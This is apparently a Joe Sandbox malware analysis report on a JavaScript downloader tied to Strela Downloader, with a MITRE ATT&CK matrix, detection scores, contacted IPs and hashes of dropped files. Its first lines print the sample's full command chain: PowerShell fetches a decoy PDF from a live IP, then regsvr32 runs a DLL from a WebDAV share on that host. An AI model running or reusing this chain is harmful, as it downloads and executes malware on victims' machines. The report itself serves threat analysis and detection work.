Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118751950413866.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2295888241314542.js	3%	Virustotal		Browse
2295888241314542.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/H	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/t	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/8	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tems	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000006.00000002.1769514057.0000023FCB846000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
http://193.143.1.205:8888/t	net.exe, 00000006.00000002.1769514057.0000023FCB846000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1740571802.000002913A532000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/tems	net.exe, 00000006.00000002.1769514057.0000023FCB808000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/H	net.exe, 00000006.00000002.1769514057.0000023FCB846000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2977879499.000002913A600000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1769514057.0000023FCB861000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769514057.0000023FCB808000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1769514057.0000023FCB846000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1740571802.000002913A532000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588108
Start date and time:	2025-01-10 21:27:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2295888241314542.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 20.12.23.50, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:28:19	API Interceptor	21x Sleep call for process: powershell.exe modified
15:28:22	API Interceptor	2x Sleep call for process: svchost.exe modified
15:28:23	API Interceptor	1x Sleep call for process: net.exe modified
15:28:35	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073546533898504
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvry:KooCEYhgYEL0In
MD5:	55373540BEB8F2A44F852CF510C9CF48
SHA1:	E63ED74ACF3EDB3677826480584C272AED63F5F2
SHA-256:	11975DB1451E1A6F4E9A813A5B9B1DC2BD8EF9B69BEA0F1CEC5C5F461B89509E
SHA-512:	35C0E9820901D1A87E6B798076054602D1E1DE7D97381370AA9BA5F7B181D2D2900281491E0E9FDD8DC438FC0F539B09B3FB26815F1D068C734D4FB409313064
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe65d6890, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215593637843296
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	91F4B34EC2AF5154B43FE07D3FB47756
SHA1:	CEE265EC478A5F28861907D202164C0F31F07276
SHA-256:	76300629B7E65599B68BFB66FA213F9911FBD9C68AB7BCFB260175EE331FD3A5
SHA-512:	1A054602AD5953B6AC3F1FD15D208DAA440BCBED1C7AEDE6532F71D9ECE1E32F0F843CFE74A2C11B899B9EE90D400643137FC163A5FB02817DFBC2EE0EDBBB62
Malicious:	false
Preview:	.]h.... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...........................................}...................;`......}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0770300477461845
Encrypted:	false
SSDEEP:	3:YLgm/llEYeF3olkjn13a/YbOtillcVO/lnlZMxZNQl:YXllEzFn53qYbYGOewk
MD5:	6266D62BA36BFC32D8914D8079354781
SHA1:	0C869AF16A9FAAEA97C9E4711542D24A2998F41F
SHA-256:	A2422A53B2FD8CFC817E043B538D2BFB0FDE0002FB82E1C34A48AC9AA689D62B
SHA-512:	2826FA96EF5B2814610B068DE0DF83804365B34A4EA5BE6CE3AC73F90BED09E957274C0BF3542AA670B2374E2F916D23F2770279EE8AD81844DB6EF4D30E9773
Malicious:	false
Preview:	.x......................................;...{.......}.......{A..............{A......{A..........{A].................;`......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.209607627330873
Encrypted:	false
SSDEEP:	6:iO4SdoFlL+q2Pwkn2nKuAl9OmbnIFUtSSdbx1ZmwsSdbnLVkwOwkn2nKuAl9Omb5:7ulyvYfHAahFUtn/dR5JfHAaSJ
MD5:	8BDAC2723AA071141B29150EBC915EF6
SHA1:	152204668B2B3D03314AEF0018AFAA6C821D4C4D
SHA-256:	82AE0004A6317F29EE5DA62B39D1F6F026027B652201651E48C5AC8874A9A6B5
SHA-512:	B2B53BE8F4BB2368CFF0953D0A69BCA8BDE2981F5ACB7E2294AA39B9290B755DE9B4D66CAB217D80A49AEC2926999F206A07D3502676E58D2DBC7CB7C4F79644
Malicious:	false
Preview:	2025/01/10-15:28:22.763 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:28:22.766 1c38 Recovering log #3.2025/01/10-15:28:22.766 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.209607627330873
Encrypted:	false
SSDEEP:	6:iO4SdoFlL+q2Pwkn2nKuAl9OmbnIFUtSSdbx1ZmwsSdbnLVkwOwkn2nKuAl9Omb5:7ulyvYfHAahFUtn/dR5JfHAaSJ
MD5:	8BDAC2723AA071141B29150EBC915EF6
SHA1:	152204668B2B3D03314AEF0018AFAA6C821D4C4D
SHA-256:	82AE0004A6317F29EE5DA62B39D1F6F026027B652201651E48C5AC8874A9A6B5
SHA-512:	B2B53BE8F4BB2368CFF0953D0A69BCA8BDE2981F5ACB7E2294AA39B9290B755DE9B4D66CAB217D80A49AEC2926999F206A07D3502676E58D2DBC7CB7C4F79644
Malicious:	false
Preview:	2025/01/10-15:28:22.763 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:28:22.766 1c38 Recovering log #3.2025/01/10-15:28:22.766 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.16341530679604
Encrypted:	false
SSDEEP:	6:iO4SdnftDM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSSd+XgZmwsSdNVDMVkwOwkn2nK3:7Bf1M+vYfHAa8uFUt+w/lMV5JfHAa8RJ
MD5:	ABEB578C285AE574A611015FFB7D7E10
SHA1:	3405C7059A63A917348CCCC32688E2E825F03C24
SHA-256:	BB6FE58F73B8699B0D44988698DD19B6E4FF89ABD6FD2B055E4AD5D133D55489
SHA-512:	294FA5DB195FEA4D04E1F6F62AB220111DCD1228259403C4F7147C55546937754FE3318CD5A247FF3EA8F8545F118AE8A9BC82A9E3FAB690987C2A5C65257EE7
Malicious:	false
Preview:	2025/01/10-15:28:22.835 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:28:22.836 1cfc Recovering log #3.2025/01/10-15:28:22.837 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.16341530679604
Encrypted:	false
SSDEEP:	6:iO4SdnftDM+q2Pwkn2nKuAl9Ombzo2jMGIFUtSSd+XgZmwsSdNVDMVkwOwkn2nK3:7Bf1M+vYfHAa8uFUt+w/lMV5JfHAa8RJ
MD5:	ABEB578C285AE574A611015FFB7D7E10
SHA1:	3405C7059A63A917348CCCC32688E2E825F03C24
SHA-256:	BB6FE58F73B8699B0D44988698DD19B6E4FF89ABD6FD2B055E4AD5D133D55489
SHA-512:	294FA5DB195FEA4D04E1F6F62AB220111DCD1228259403C4F7147C55546937754FE3318CD5A247FF3EA8F8545F118AE8A9BC82A9E3FAB690987C2A5C65257EE7
Malicious:	false
Preview:	2025/01/10-15:28:22.835 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:28:22.836 1cfc Recovering log #3.2025/01/10-15:28:22.837 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6eaeae96-fd9d-40ff-9d59-48abf16f2643.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.961129226325379
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlEWsBdOg2HNYcaq3QYiubInP7E4T3y:Y2sRdsaE7dMHh3QYhbG7nby
MD5:	172AB65AE29BF50439FABF961D11C10D
SHA1:	026E064E9B421235C52E199D29CE7F952807FE91
SHA-256:	02D7735B723B0A546F515E5AF5B7C38A9B93275E9B9045877CA3EE66BE1E8380
SHA-512:	BEDC432E2020ADF4349C8121BCEA2A9233B2B52A4E5743AA5CD1A9C2EF9DB2E93F16C0D8F4AB71C9BA7F95618975ED96A7E05A607876C5F7B9B29544295B008D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100915385982","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133731},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.961129226325379
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqlEWsBdOg2HNYcaq3QYiubInP7E4T3y:Y2sRdsaE7dMHh3QYhbG7nby
MD5:	172AB65AE29BF50439FABF961D11C10D
SHA1:	026E064E9B421235C52E199D29CE7F952807FE91
SHA-256:	02D7735B723B0A546F515E5AF5B7C38A9B93275E9B9045877CA3EE66BE1E8380
SHA-512:	BEDC432E2020ADF4349C8121BCEA2A9233B2B52A4E5743AA5CD1A9C2EF9DB2E93F16C0D8F4AB71C9BA7F95618975ED96A7E05A607876C5F7B9B29544295B008D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100915385982","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133731},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.255840684244766
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo77sy:etJCV4FiN/jTN/2r8Mta02fEhgO73goX
MD5:	0C3FD13F4710C835F6A710D3F66FDD05
SHA1:	4427C5DA7D29893F54E760ED462536882E1B29CD
SHA-256:	482905F8C0C0D74F40A03E0C8BFA36150E92295BBA0C7577D8317FDF7C9D8FE6
SHA-512:	B8242D73BE4351875E7EF489548446562684D7C79416686165848A174F0B89341C54A49C56AD65874B933736A33BA5CD49BE43CF70C052963906BBC76BE66FA7
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.190551690779
Encrypted:	false
SSDEEP:	6:iO4Sdh6DM+q2Pwkn2nKuAl9OmbzNMxIFUtSSdxXgZmwsSdYpDMVkwOwkn2nKuAlG:7zSM+vYfHAa8jFUtxw/SpMV5JfHAa84J
MD5:	73B5C570CE1997C212076060F502206A
SHA1:	6E896B6EA603A0523CCE38314B6549E6ADA6FF68
SHA-256:	11D212DFD953C6E6DD0EFF111760E56490A6822A45B233174FF54CB279F6BE36
SHA-512:	C5F214FFCB1175FC2A2F663C85F22B70A99B0595CDFAF5ACD280FB1D64E55034E21B7E293114972D620042DC6845117ACB078DD2A332F0E3A2F2016053EE4C1F
Malicious:	false
Preview:	2025/01/10-15:28:22.944 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:28:22.945 1cfc Recovering log #3.2025/01/10-15:28:22.946 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.190551690779
Encrypted:	false
SSDEEP:	6:iO4Sdh6DM+q2Pwkn2nKuAl9OmbzNMxIFUtSSdxXgZmwsSdYpDMVkwOwkn2nKuAlG:7zSM+vYfHAa8jFUtxw/SpMV5JfHAa84J
MD5:	73B5C570CE1997C212076060F502206A
SHA1:	6E896B6EA603A0523CCE38314B6549E6ADA6FF68
SHA-256:	11D212DFD953C6E6DD0EFF111760E56490A6822A45B233174FF54CB279F6BE36
SHA-512:	C5F214FFCB1175FC2A2F663C85F22B70A99B0595CDFAF5ACD280FB1D64E55034E21B7E293114972D620042DC6845117ACB078DD2A332F0E3A2F2016053EE4C1F
Malicious:	false
Preview:	2025/01/10-15:28:22.944 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:28:22.945 1cfc Recovering log #3.2025/01/10-15:28:22.946 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445074277959777
Encrypted:	false
SSDEEP:	384:yezci5tOiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rhs3OazzU89UTTgUL
MD5:	5B81346D222743E120B85D6657CBDF46
SHA1:	454BB4EB84E8F7B935A8D3D97BC2B917E435DF43
SHA-256:	DD0EF62D1183075785E4985650C30E0DCE1A236D35C114A1AE1DEA2482F8FB88
SHA-512:	C15F66CC70A9F6AA44A1775875ECCF61B0CA3922421B5B6B0B82C1DE07F2AC364AD0C5EDBC4C9AA398D8490FA09BC5C4BE5F8F6E57D6EF4AF6FCFF1B0FB74C7B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7733962115047173
Encrypted:	false
SSDEEP:	48:7Mx2Bp/E2ioyVbioy9oWoy1Cwoy1rKOioy1noy1AYoy1Wioy1hioybioy3oy1nov:7capjubFSXKQqUb9IVXEBodRBkh
MD5:	3C643499650DE1B5379A88C1DCAEEABB
SHA1:	E4751189BFBAF69960684E01B30D254E6200F092
SHA-256:	311F46B76BDEB87FB6ED012F852ED85596C9B6C5ADA84FE0E0405E8F9B1A886A
SHA-512:	77AC80DA072E763792030429B127E425558C8C82A72A405553B88CDB9369CCAE5ADE7EF5E703D4AC1B86419C8644B2496A4D1604DF58A212237078F24127D726
Malicious:	false
Preview:	.... .c.....6..A...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
